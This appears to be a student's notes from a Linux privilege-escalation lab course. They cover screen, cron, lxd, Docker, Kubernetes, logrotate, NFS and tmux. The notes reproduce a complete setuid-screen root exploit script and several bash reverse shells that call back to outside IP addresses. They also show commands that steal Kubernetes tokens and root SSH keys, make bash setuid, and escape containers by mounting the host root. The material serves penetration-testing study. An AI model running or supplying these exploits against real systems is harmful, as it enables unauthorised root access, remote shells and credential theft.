9. Service-Based Privesc (Cron, lxd, docker, k8 etc)

Linux Service PrivEsc - Screen example

Many services can be leveraged for privesc. Popular example is screen (multiplexer) https://linux.die.net/man/1/screen V4.5.0 due to lack of permissions check when opening a log file.

Allows an attacker to truncate any file or create a file owned by root in any directory

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c -Wno-implicit-function-declaration
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

![](/img/Pasted image 20250126115323.png)


Linux Service PrivEsc - Cron job abuse

We know what cronjobs are. crontab command can create a cron file, which will be run by cron daemon on schedule specified. Cron file will be created in /var/spool/cron for the specific user that created it. Cron order: minutes, hours, days, months, weeks, commands 0 */12 * * * /home/admin/backup.sh -> backup.sh run every 12 hours.

Root crontab is almost always only editable by root user or user with full sudo. It can still be abused.

Looking around system for writeable files/directories:

find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null

If we see file like: /dmz-backups/backup.sh may be interesting. Looking at /dmz-backups dir, shows what appears to be files created every 3 minutes. Seems to be a major misconfiguration.

-rw-r--r--  1 root root 3336 Aug 31 02:24 www-backup-2020831-02:24:01.tgz
-rw-r--r--  1 root root 3336 Aug 31 02:27 www-backup-2020831-02:27:01.tgz

Can confirm cron job runs with pspy - cmdline tool to view running processes without root privs. https://github.com/DominicBreuker/pspy Use it to see commands run by other users, cronjobs etc. It works by scanning procfs https://en.wikipedia.org/wiki/Procfs

./pspy64 -pf -i 1000

-pf = print commands and file system events -i = interval (scan every 1000ms)

In output above we can see uid=0 executing the backup script If editing a script, make sure to ALWAYS take a copy of the script and/or create a backup of it Also, append commands to end of script so it will run properly. The rest of this is self explanatory. Start a listener and modify the script, wait for it to run.

bash -i >& /dev/tcp/10.10.14.3/443 0>&1

![](/img/Pasted image 20250126120724.png) ![](/img/Pasted image 20250126120840.png) ![](/img/Pasted image 20250126120843.png) ![](/img/Pasted image 20250126120432.png)


Linux Service PrivEsc - Containers

Containers operate at system level, and virtual machines operate at the hardware level.

Goal: Manage resources and security aspects as efficiently as possible.

Linux containers

Linux Daemon

From here on, there are now several ways to exploit lxc/lxd. We can create our own container and transfer it to the target system, or use an existing container.

container-user@nix02:~$ cd ContainerImages
container-user@nix02:~$ ls

ubuntu-template.tar.xz

Importing container as an image

container-user@nix02:~$ lxc image import ubuntu-template.tar.xz --alias ubuntutemp
container-user@nix02:~$ lxc image list

+-------------------------------------+--------------+--------+-----------------------------------------+--------------+-----------------+-----------+-------------------------------+
|                ALIAS                | FINGERPRINT  | PUBLIC |               DESCRIPTION               | ARCHITECTURE |      TYPE       |   SIZE    |          UPLOAD DATE          |
+-------------------------------------+--------------+--------+-----------------------------------------+--------------+-----------------+-----------+-------------------------------+
| ubuntu/18.04 (v1.1.2)               | 623c9f0bde47 | no    | Ubuntu bionic amd64 (20221024_11:49)     | x86_64       | CONTAINER       | 106.49MB  | Oct 24, 2022 at 12:00am (UTC) |
+-------------------------------------+--------------+--------+-----------------------------------------+--------------+-----------------+-----------+-------------------------------+

After verifying import, initiate image and configure it by specifying security.privileged flag and root path for container. this flag disables all isolation features and allows us to act on host.

container-user@nix02:~$ lxc init ubuntutemp privesc -c security.privileged=true
container-user@nix02:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

From here we can start the container and login to it. In the container we can then go to the path we specified to access resource of host system as root.

container-user@nix02:~$ lxc start privesc
container-user@nix02:~$ lxc exec privesc /bin/bash
root@nix02:~# ls -l /mnt/root

![](/img/Pasted image 20250126122203.png) ![](/img/Pasted image 20250126122443.png) ![](/img/Pasted image 20250126122537.png)


Service privesc - Docker Containers as isolated envs in userspace that run at the OS level and share file system + sys resources.

Architecture: Client-server model with two primary components:

Client acts as our interface for issuing commands and interacting with the docker ecosystem, while docker daemon is responsible for executing those commands and managing containers.

Docker Daemon

Docker Clients

When we interact with Docker we issue commands through the Docker Client - forwarded to Daemon (Through Restful API / Unix socket) Ability to: Create, start, stop, manage, remove containers, search, and download Docker images. With these options, we can pull existing images to use as a base for our containers or build our custom images using Dockerfiles. We have the flexibility to push our images to remote repositories, collab between teams.

Daemon on other hand, carries out requested actions

Another client for Docker is Docker Compose - Tool taht simplifies orchestration of multiple docker containers as a single application.

Docker Desktop is a user-friendly gui for windows/mac/linux for simplifying the management of containers and their components. Monitoring, etc. Also supports kubernetes.

Docker Images and Containers Docker Image== blueprint/template for creating containers. Encapsulates everything needed to run an application

Created using text file named Dockerfile - defines steps and instructions

Docker container is an instance of a docker image.

Images are immutable and read only. Containers are mutable and modifiable during runtime.


Docker privilege escalation

Docker Sockets

Use docker binary to interact with the socket and enumerate what docker containers are already running. If not installed, we can download it hereand upload it to the docker container

/tmp/docker -H unix:///app/docker.sock ps
CONTAINER ID     IMAGE         COMMAND                 CREATED       STATUS           PORTS     NAMES
3fe8a4782311     main_app      "/docker-entry.s..."    3 days ago    Up 12 minutes    443/tcp   app
<SNIP>

Can create our own docker container that maps host's root dir to the /hostsystem directory on the container. With this, full access to host system. Thus map these directories accordingly and use the main_app Docker image

/tmp/docker -H unix:///app/docker.sock run --rm -d --privileged -v /:/hostsystem main_app
/tmp/docker -H unix:///app/docker.sock ps

CONTAINER ID     IMAGE         COMMAND                 CREATED           STATUS           PORTS     NAMES
7ae3bcc818af     main_app      "/docker-entry.s..."    12 seconds ago    Up 8 seconds     443/tcp   app
3fe8a4782311     main_app      "/docker-entry.s..."    3 days ago        Up 17 minutes    443/tcp   app
<SNIP>

Then, login to new privileged docker ontainer with ID 7ae3bcc818af and navigate to /hostsystem

/tmp/docker -H unix:///app/docker.sock exec -it 7ae3bcc818af /bin/bash

normal privesc from there - grab private key, etc

Docker Group Gaining root privs via docker, we msut be logged in with user in docker group (see output of id)

Alternatively, Docker may have SUID bit set or we are in sudoers file which permits us to run docker as root. Most hosts have direct internet connection because base images + containers must be downloaded. Howevermany hosts may be disconnected from internet at night/outside hours for security reasons. If these hosts are located in a network where a webserver has to pass through for example it can still be reached.

To see what images exist/have access to: docker image ls

Docker socket Privesc scenario can also exist where docker socket is writeable. Usually located at /var/run/docker.sock Location can be different. If we act as a user, not in docker group or docker-user group, but Docker socket is writeable, we can use this to escalate privileges.

docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash

root@ubuntu:~# ls -l

Example privesc: ![](/img/Pasted image 20250127140921.png) ![](/img/Pasted image 20250127141019.png)


Linux Service PrivEsc - Kubernetes, (K8)

dev'd by google container orchestration system - functinos by running all apps in containers isolated from host system thru multiple layers of protection. Approach ensures apps are not affected by changes in host system like updates/sec patches. K8 architecture consists of master node / worker nodes each with specific roles.

pod concept - hold one or more closely connected containers.

Differences between K8 and Docker

Function Docker Kubernetes
Primary Platform for containerizing Apps An orchestration tool for managing containers
Scaling Manual scaling with Docker swarm Automatic scaling
Networking Single network Complex network with policies
Storage Volumes Wide range of storage options

K8 architecture:

Nodes Master node hosts k8 CP, manages + coordinattes all activities in the cluster. Make sure desired state is maintained. Minions (worker nodes) execute actual applications and receive instructions from CP to ensure desired state is achieved.

Control plane The Control Plane serves as the management layer. It consists of several crucial components, including:

Service TCP Ports
etcd 2379, 2380
API server 6443
Scheduler 10251
Controller Manager 10252
Kubelet API 10250
Read-Only Kubelet API 10255

Minions In containerized env: serve as designated location for running applications. Important note, each node is managed + regulated by control plane which helps ensure all processes running within the containers operator smoothly+efficiently. Scheduler based on API server understands state of thecluster and schedules new pods on the nodes accordingly. After decision made which node a pod should run on, API server updates etcd API server is entry point for all admin commands, either from users via kubectl or from controllers. This server communicates with etcd to fetch/update cluster state.

K8 security measures

Kubernetes API Core of architecture is its' API - main point for all internal/ext interactions. Designed to support declarative control

kube-apiserver is responsible for hosting the API, which handles/verifies RESTful requests for modifying system state. These reqs typically involve CRUD operations and retrieving info related to various resources within system. API is crucial role in facilitating seamless comm and control within k8 cluster.

API resource serves as endpoint that houses specific collection of API objs. These pertain to a particular category and include essential elements like Pods, Services, and Deployments, among others. Each unique resource comes equipped with a distinct set of operations that can be executed, including but not limited to:

Request Description
GET Retrieves information about a resource or a list of resources.
POST Creates a new resource.
PUT Updates an existing resource.
PATCH Applies partial updates to a resource.
DELETE Removes a resource.

Authentication Support various methods of auth

Once auth, k8 enforces authorization decisions using RBAC Technique involves assigning specific roles to users/processes with corresponding perms. Kubelet can be configured to permit anonymous access. Default setting. Anon reqs are considered unauthenticated which implies any req made to a kubelet without valid client cert will be treated as anonymous. This can be problematic as any proc/user that can reach kubelet api can make reqs/receive responses, potentially exposing sensitive info

curl https://10.129.10.11:6443 -k

{
	"kind": "Status",
	"apiVersion": "v1",
	"metadata": {},
	"status": "Failure",
	"message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",
	"reason": "Forbidden",
	"details": {},
	"code": 403
}

System:anonymous represents an unauthenticated user - meaning we haven't provided valid creds or are trying to access api server anonymously. In this case, we try accessing root path, which would grant significant control over k8 cluster if successful. Default - access to root is generally restricted to authorized users with admin priv. 403 = denied.

Kubelet API - Extracting pods:

curl https://10.129.10.11:10250/pods -k | jq .

Output: names, namespaces, creation time, imgs of pods, and last applied config. (Could contain confidential details regarding container imgs and their pull policies) Understanding container images and their versions used in cluster can enable us to ID known vulns and exploit them for unauth access. Namespace information can provide insight to how pods/rseources arranged within cluster - use to target specific namespaces with known vulns. Metadata like uid and resourceVersion to perform recon + recognize potential targets for further attacks. Disclosing last applied config can potentially expose sensitive information like passwords,secrets,api tokens used during deployment.

Listing pods:

kubeletctl -i --server 10.129.10.11 pods

To interact with pods, important to know available commands. One approach particularly useful is utilizing scan rce cmd in kubeletctl - command used for management. kubeletctl -i --server 10.10.10.10 scan rce Possible to engage container interactively and gain insight of extent of priv within the container. kubeletctl -i --server 10.129.10.11 exec "id" -p nginx -c nginx Above output of exec "id" shows current user executing id inside container has root privs. With admin access within container we can potentially privesc. If we have root priv in a container we can mess with host system or other containers.

K8 privilege escalation To gain higher privs and access host system use kubeletctl to obtain k8 service account token and ca.crt (certificate) from server. Must provide:

Kubelet API - Extracting Tokens

kubeletctl -i --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.token

Kubelet API - Extracting certificates

kubeletctl --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee -a ca.crt

With both token/cert - check access in k8 cluster. Commonly used for auditing and verification to guarantee users have correct level of access - however, we can use it for our purposes and inquire on our permissions

export token=`cat k8.token`
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.10.11:6443 auth can-i --list
Resources										Non-Resource URLs	Resource Names	Verbs 
selfsubjectaccessreviews.authorization.k8s.io		[]					[]				[create]
selfsubjectrulesreviews.authorization.k8s.io		[]					[]				[create]
pods											[]					[]				[get create list]
...SNIP...

Besides selfsubject-resources we can get/create/list pods which are resources representing the running container in the cluster. From here on, create YAML file that we can use to create a new container and mount the entire root filesystem from host system into this container's /root dir. There on, access host system files and directories.

apiVersion: v1
kind: Pod
metadata:
  name: privesc
  namespace: default
spec:
  containers:
  - name: privesc
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /root
      name: mount-root-into-mnt
  volumes:
  - name: mount-root-into-mnt
    hostPath:
       path: /
  automountServiceAccountToken: true
  hostNetwork: true

Checking new pod and determine status:

kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 apply -f privesc.yaml

pod/privesc created

kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 get pods

NAME	READY	STATUS	RESTARTS	AGE
nginx	1/1		Running	0			23m
privesc	1/1		Running	0			12s

Example of extracting ssh key of root user:

kubeletctl --server 10.129.10.11 exec "cat /root/root/.ssh/id_rsa" -p privesc -c privesc

Linux Service PrivEsc - Logrotate

Every linux system produces large amounts of log files. To prevent HDD from overflowing, tool named logrotate exists to archive and dispose old logs. If no attention is paid to log files, they become larger/larger and eventually occupy all diskspace.

/var/log typically where logs stored, info to determine where issues arise logrotate exists to rotate these, aptly named. gives size of log files, age and action to be taken when certain conditions are met.

Function of rotation itself consists in renaming log files. Forexample, new log files can be created each new day, older ones renamed automatically. Another example : empty oldest log file, reducing storage

Tool typically started periodically via cron and controlled via config /etc/logrotate.conf In this file, contains global settings that determine the function of logrotate

To force new rotation on same day, we can set date after individual log files in status file /var/lib/logrotate.status or use -f/--force

sudo cat /var/lib/logrotate.status Find corresponding conf files in /etc/logrotate.d dir ls /etc/logrotate.d

cat /etc/logrotate.d/dpkg

/var/log/dpkg.log {
        monthly
        rotate 12
        compress
        delaycompress
        missingok
        notifempty
        create 644 root root
}

To exploit logrotate there are some requirements:

There is a precreated exploit we can use for this if the reqs are met - Exploit is named logrotten https://github.com/whotwagner/logrotten Download+compile it on similar kernel of target system and transfer it to target system. If we can compile code directly on target system that's better

git clone https://github.com/whotwagner/logrotten.git
cd logrotten
gcc logrotten.c -o logrotten
```bash

generating a payload to be executed (basic bash-based revshell)
```shell-session
echo 'bash -i >& /dev/tcp/10.10.14.2/9001 0>&1' > payload
```bash

Before running exploit, determine which option `logrotate` uses in `logrotate.conf` 
```shell-session
grep "create\|compress" /etc/logrotate.conf | grep -v "#"

create
```bash

In this case, `create` . Therefore, use exploit adapted to this function. 

Start listener, give payload and wait for revshell 

```shell-session
./logrotten -p ./payload /tmp/tmp.log
```bash


**This one sucked both my balls and asshole from the back**
**Shell would only be sent back for a few seconds until it would close out. ** 
Thus, used oneline `chmod 4777 $(which bash)` to quickly change priv of bash to be able to `bash -p` from underpriv user and escalate priv. Also, this is a note to always try different payloads. Payload above didn't seem to actually send me back a bash shell. The one below worked.

┌──(root㉿kali)-[~kali/HTB/lin-priv/logrotten] └─# cat payload
#!/bin/bash if [ id -u -eq 0 ]; then (bash -i >& /dev/tcp/10.10.15.241/31337 0>&1 &); fi

Running the exploit over and over until the reverse shell connects:

htb-student@ubuntu:~/backups$ echo 'deez' > access.log && ./logrotten -p ./payload /home/htb-student/backups/access.log Waiting for rotating /home/htb-student/backups/access.log... Renamed /home/htb-student/backups with /home/htb-student/backups2 and created symlink to /etc/bash_completion.d Waiting 1 seconds before writing payload...


Catching the rev shell:

┌──(root㉿kali)-[/home/kali/HTB/lin-priv] └─# nc -lnvp 31337 listening on [any] 31337 ... connect to [10.10.15.241] from (UNKNOWN) [10.129.108.64] 56110 root@ubuntu:# chmod 4777 $(which bash) chmod 4777 $(which bash) root@ubuntu:# cat flag.txt

Using bash -p htb-student@ubuntu:~/backups$ bash -p bash-5.0# whoami root bash-5.0# ls access.log access.log.1 logrotten logrotten.c payload bash-5.0# cat /root/flag.txt



## Linux Service PrivEsc - Miscellaneous

### Passive Traffic Capture
`tcpdump` installation - unpriv users can capture network traffic, including in some cases - creds passed in cleartext. 
https://github.com/DanMcInerney/net-creds
https://github.com/lgandx/PCredz

Above can be used to examine data passed overthewire

Can capture sensitive info, like cc numbers, snmp community strings, net-ntlmv2, smbv2, kerb hashes etc. 

Cleartext protocols like HTTP/FTP/POP/IMAP/telnet/SMTP may contain credentials that can be reused to escalate privs on the host. 

### Weak NFS privileges 

Network file system allow users to access shared files or directories over the network hosted on unix/linux systems. 
NFS uses TCP/UDP port 2049. Accessible mounts can be listed with `showmount -e` 
- lists nfs server's export list (access control list for filesystems) that NFS clients

NFS vol created, options set: 
- root_squash == if root user used to access nfs shares it will be changed to nfsnobody user - unprivileged. Any files created/uploaded by root will be owned by `nfsnobody` , preventing attacker from uploading binaries with suid bit set. 
- `no_root_squash` == remote users connecting to share as local root user will be able to create files on nfs server as root user. Allows for creation of malicious scripts/programs with suid bit set. 

```shell-session
htb@NIX02:~$ cat /etc/exports
/var/nfs/general *(rw,no_root_squash)
/tmp *(rw,no_root_squash)
```bash

create suid bin that execs `/bin/sh` using local root user. mount the `/tmp` dir locally + copy root-owned bin over nfs server and set suid bit. 

1) create bin

```shell-session
htb@NIX02:~$ cat shell.c 

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int main(void)
{
  setuid(0); setgid(0); system("/bin/bash");
}
```bash

2) compile 

```shell-session
gcc shell.c -o shell
```bash

3) mount dir locally, copy it, and set perms 
```shell-session
root@Pwnbox:~$ sudo mount -t nfs 10.129.2.12:/tmp /mnt
root@Pwnbox:~$ cp shell /mnt
root@Pwnbox:~$ chmod u+s /mnt/shell
```bash

switching back to host low-priv session we can execute the binary and obtain a root shell 

```shell-session
htb@NIX02:/tmp$  ls -la
-rwsr-xr-x  1 root  root  16712 Sep  1 06:15 shell
htb@NIX02:/tmp$ ./shell
root@NIX02:/tmp# id

uid=0(root
```bash

### Hijacking tmux sessions 

Multiplexers like screen and tmux = multiple terminal sessions accessed in single console session. 
While not working in tmux window we can detach from session while leaving it active 
If tmux process running as a priv user or root or setup with weak permissions, we hijack = privesc

create new shared session + modify ownership:
```shell-session
htb@NIX02:~$ tmux -S /shareds new -s debugsess
htb@NIX02:~$ chown root:devs /shareds
```bash

if we can compromise a user in `devs` group for example we can attach to this session and gain root 

```shell-session
ps aux | grep tmux

root      4806  0.0  0.1  29416  3204 ?        Ss   06:27   0:00 tmux -S /shareds new -s debugsess
```bash

```shell-session
ls -la /shareds 

srw-rw---- 1 root devs 0 Sep  1 06:27 /shareds
```bash

```shell-session
htb@NIX02:~$ id

uid=1000(htb) gid=1000(htb) groups=1000(htb),1011(devs)
```bash

```shell-session
tmux -S /shareds

id

uid=0(root) gid=0(root) groups=0(root)
```bash